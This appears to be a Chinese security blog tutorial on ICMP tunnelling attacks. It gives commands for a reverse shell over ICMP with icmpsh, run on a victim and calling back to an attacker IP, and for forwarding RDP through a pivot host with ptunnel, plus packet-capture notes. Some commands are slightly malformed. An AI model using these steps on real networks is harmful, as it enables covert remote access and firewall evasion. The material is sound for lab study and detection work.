ICMP隧道攻击

VSole2022-04-27 21:50:29

ICMP隧道攻击

ICMP隧道模式简介

ICMP一般用于检测网络的可通性,

所以一般在防火墙设备上都不会用策略去禁止它(ping),这也就使得了有很大的可能性去使用ICMP隧道进行相应的攻击,达到一种伪装.

而能达到这种攻击的原因是在CMP报文结构中,有数据部分是可控的,所以可以利用可控数据部分去构造相应的攻击语句.

1.icmpsh使用

下载地址:GitHub - k1132/icmpsh: Simple reverse ICMP shell[1]

py使用前需安装Impacket依赖库


git clone https://github.com/SecureAuthCorp/impacket.gitcd impacketsudo python setup.py  instal

开启前需要先关闭攻击机的icmp应答,防止内核对自己的ping包响应


sysctl -w net.ipv4.icmp_echo_ignore_all

不关闭就会导致不稳定

①将exe执行文件上传到受害机 ,并执行

执行代码如下:


icmpsh.exe -t 攻击机IP地址

②攻击机进行监听

python2 icmpsh_m.py 攻击者IP 受害者IP

③抓包分析

 通过抓取该网卡可以观察到都是ICMP报文的数据包

在反弹的shell执行whoami并在数据包中查看数据信息

最后, 通过报文分析可以知道ICMP隧道是将执行的代码封装在了ICMP报文中的数据中

2.ptunnel 使用

下载地址:https://github.com/f1vefour/ptunnel 需自行编译


ptunnel参数含义:-p ##表示连接 icmp 隧道另一端的机器 IP(即目标服务器) -lp ##表示需要监听的本地 tcp 端口 -da ##指定需要转发的机器的 IP(即目标内网某一机器的内网 IP) -dp ##指定需要转发的机器的端口(即目标内网某一机器的内网端口) -x ##设置连接的密码

进入解压后文件输入如下即可:


make install

开启前需要先关闭攻击机的icmp应答,防止内核对自己的ping包响应


sysctl -w net.ipv4.icmp_echo_ignore_all=1

环境模拟:

①将编译好的ptunnel上传到跳板机

并赋予可执行权限

②设置连接密码

./ptunnel -x mrfan

③攻击机将转发的 3389请求数据给本地 6666

./ptunnel -p 192.168.1.14 -lp 6666 -da 192.168.22.14 -dp 3389 -x mrfan
-p ##表示连接 icmp 隧道另一端的机器 IP(即目标服务器) -lp ##表示需要监听的本地 tcp 端口 -da ##指定需要转发的机器的 IP(即目标内网某一机器的内网 IP) -dp ##指定需要转发的机器的端口(即目标内网某一机器的内网端口) -x ##连接的密码

③利用连接好的跳板机去连接受害机

rdesktop 127.0.0.1:6666

④抓包分析

通过在192.168.1.0/24网卡上进行抓包

可以抓到许多ICMP的数据包, 并是由192.168.1.11(攻击机)与192.168.1.14(跳板机)的请求应答包, 所以这也是通过ICMP的数据部分进行了相应的伪装所造成的攻击

References

[1] GitHub - k1132/icmpsh: Simple reverse ICMP shell: https://github.com/k1132/icmpsh

icmp
本作品采用《CC 协议》,转载必须注明作者和本文链接
ICMPWatch是一款功能强大的ICMP数据包嗅探工具,该工具基于Python 3开发,可以帮助广大研究人员捕捉和分析ICMP(Internet控制报文协议)数据包。该工具能提供有关捕捉数据包的详细信息,包括数据包源IP地址、目标IP地址、MAC地址、ICMP类型以及Payload数据等。除此之外,该工具还支持将捕捉到的数据包存储到SQLite数据库中,并以pcap格式保存。
icmp 隧道代理搭建
2022-08-07 20:17:09
简介 在内网渗透中,内网隧道的搭建是必不可少的。有条件的情况下,优先使用tcp隧道,比较稳定可靠。但是遇到只有icmp协议出网的时候,就需要利用别的思路了。ICMP代理 两台机器之间,只允许icmp 协议通讯,其他的协议tcp/udp 不允许,那么可以考虑利用icmp 隧道进行穿透。
ICMP隧道攻击
2022-04-27 21:50:29
ICMP一般用于检测网络的可通性
ICMP协议通常用来测试网络通不通、主机可不可达、路由可不可用。宅男们打游戏时也常用来ping一下,看看延迟高不高,太高迅雷就得关一关了。 而网络攻击者通过ICMP协议,可以进行隧道传输,实现数据窃取,规避掉一些防火墙规则。 如何检测这种隧道?用传统的签名无法对抗负载加密,复杂的统计比对让检测引擎不堪重负,准确率也不高。 而基于ICMP常规的通讯数据和攻击时产生的畸形数据,利用信息熵来分析,
它是TCP/IP协议簇的一个子协议,用于在IP主机、路由器之间传递控制消息。这些控制消息虽然并不传输用户数据,但是对于用户数据的传递起着重要的作用ICMP协议主要提供两种功能,一种是差错报文,一种是信息类报文。标识符和序号字段分别是16 位的字段。对于标识符,应用程序执行期间送出的所有报文里填入相同的值。例如,icmptunnel会在所有的ICMP payload前添加”TUNL”标记来识别隧道。
使用 ICMP 传递 shellcode
2021-02-17 21:59:14
在研究不同的渗透方法时,我遇到了一种利用DNS的技术。在编写概念证明代码时,我注意到实现的ping函数很有趣。我们可以提供一个可容纳65,500字节的缓冲区。由于大小限制很大,我们可以将shellcode加载到我们的ICMP请求中,然后将其注入到目标的进程中。
近期,观成科技安全研究团队在现网中检测到了利用Gost工具实现加密隧道的攻击行为。
一个ICMP报文包括IP报头、ICMP报头和ICMP报文。当IP报头中的协议字段值为1时,就说明这是一个ICMP报文。
关于QueenSonoQueenSono是一款针对ICMP协议的数据提取工具,该工具基于Golang开发,并且只依赖于ICMP协议不受监控这一事实实现其功能。除此之外,该工具也可以用于基本的ICMP检查,或绕过某些身份验证机制,比如说许多公共Wi-Fi在连接到Wi-Fi后用于对用户进行身份验证。工具安装从源码安装广大研究人员可以直接使用下列命令将该项目源码克隆至本地
ping 使用 ICMP 协议, ICMP 工作在 IP层所以无端口号, 当多个进程使用ICMP 的时候,
VSole
网络安全专家